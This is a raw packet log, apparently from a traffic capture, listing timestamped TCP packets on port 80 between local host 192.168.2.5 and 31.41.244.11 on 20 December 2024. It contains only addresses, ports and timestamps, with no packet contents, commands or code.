Dec 20, 2024 02:11:29.140564919 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.140573978 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.140574932 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.140587091 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.140594959 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.140599012 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.140610933 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.140614033 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.140633106 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.140650034 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.141021967 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.141032934 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.141084909 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.143819094 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.143884897 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.145174026 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.145229101 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.146162033 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.146225929 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.146311045 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.146368980 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.146981001 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.146991968 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.147047043 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.147603989 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.147660971 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.147762060 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.147820950 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.148173094 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.148184061 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.148225069 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.148255110 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.148787975 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.148858070 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.148962021 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.149022102 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.149503946 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.149563074 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.149908066 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.149971962 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.150258064 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.150316000 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.150464058 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.150520086 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.151086092 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.151096106 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.151146889 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.151774883 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.151830912 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.151943922 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.152008057 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.152477980 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.152534962 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.307400942 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.307466984 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.307535887 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.307585955 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.307729006 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.307749033 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.307774067 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.307790041 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.308466911 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.308516026 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.308589935 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.308635950 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.309214115 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.309259892 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.309386015 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.309433937 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.309947968 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.309959888 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.309994936 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.310010910 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.310631037 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.310678959 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.310826063 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.310869932 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.311182976 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.311224937 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.311383963 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.311429977 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.311903000 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.311949968 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.312102079 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.312154055 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.312680006 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.312726974 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.312833071 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.312877893 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.313536882 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.313582897 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.313702106 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.313746929 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.314063072 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.314115047 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.314296961 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.314347029 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.314970016 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.314984083 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.315021038 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.315037966 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.315443993 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.315455914 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.315465927 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.315476894 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.315486908 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.315522909 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.315522909 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.315974951 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.316030979 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.316149950 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.316205025 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.316574097 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.316638947 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.316768885 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.316853046 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.317373991 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.317393064 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.317430973 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.317430973 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.318103075 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.318166018 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.318275928 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.318331003 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.318701029 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.318717957 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.318753958 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.318787098 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.319086075 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.319140911 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.319242001 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.319297075 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.319619894 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.319631100 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.319675922 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.319675922 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.319812059 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.319823027 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.319868088 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.319868088 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.320722103 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.320733070 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.320785046 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.321211100 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.321269035 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.321394920 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.321451902 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.322005033 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.322016001 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.322086096 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.322594881 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.322654963 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.322722912 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.322776079 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.323266029 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.323290110 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.323347092 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.323347092 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.324007034 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.324024916 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.324106932 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.324160099 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.324750900 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.324763060 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.324814081 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.324814081 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.325473070 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.325490952 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.325556993 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.325556993 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.326160908 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.326172113 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.326225996 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.326796055 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.326807022 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.326855898 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.327426910 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.327488899 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.327594995 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.327651978 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.328208923 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.328219891 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.328260899 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.328296900 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.328846931 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.328902006 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.329041004 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.329097033 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.329483986 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.329536915 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.329643965 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.329706907 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.329797983 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.329808950 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.329821110 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.329832077 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.329859018 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.329890966 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.330003977 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.330060005 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.330084085 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.330138922 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.330730915 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.330785990 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.330879927 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.330935955 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.331357956 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.331422091 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.331429005 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.331485033 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.332086086 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.332151890 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.332161903 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.332222939 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.332865000 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.332875013 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.332931042 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.332931042 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.336492062 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.336544037 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.337366104 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.337382078 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.337392092 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.337403059 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.337414026 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.337426901 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.337428093 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.337439060 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.337450981 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.337496996 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.337527990 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.338013887 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.338025093 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.338088036 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.338704109 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.338715076 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.338759899 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.338788033 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.339385033 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.339443922 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.339553118 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.339610100 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.339963913 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.340029001 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.340275049 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.340377092 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.340818882 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.340837955 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.340881109 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.340913057 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.341495991 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.341545105 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.341653109 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.341722012 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.341996908 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.342060089 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.496186018 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.496298075 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.496404886 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.496465921 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.496732950 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.496745110 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.496793032 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.497164965 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.497216940 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.497339010 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.497397900 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.497917891 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.497968912 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.498028994 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.498085022 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.498573065 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.498630047 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.498689890 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.498749971 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.499257088 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.499327898 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.499365091 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.499419928 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.499950886 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.500005007 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.500053883 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.500102997 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.500755072 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.500766039 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.500813961 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.501343012 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.501398087 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.501471996 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.501526117 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.502099991 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.502156019 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.502193928 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.502245903 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.502763033 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.502820015 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.502861977 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.502912045 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.503453016 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.503506899 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.503524065 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.503573895 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.504148960 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.504204035 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.504280090 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.504348993 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.504858017 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.504911900 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.505067110 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.505117893 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.505563021 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.505614996 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.505654097 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.505707026 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.506243944 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.506299019 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.506437063 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.506490946 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.506928921 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.506983995 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.507092953 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.507147074 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.507625103 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.507672071 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.507736921 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.507781982 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.508389950 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.508450985 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.508479118 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.508533955 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.509038925 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.509095907 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.509321928 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.509380102 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.509782076 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.509856939 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.509942055 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.509996891 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.510488033 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.510534048 CET	80	49875	31.41.244.11	192.168.2.5
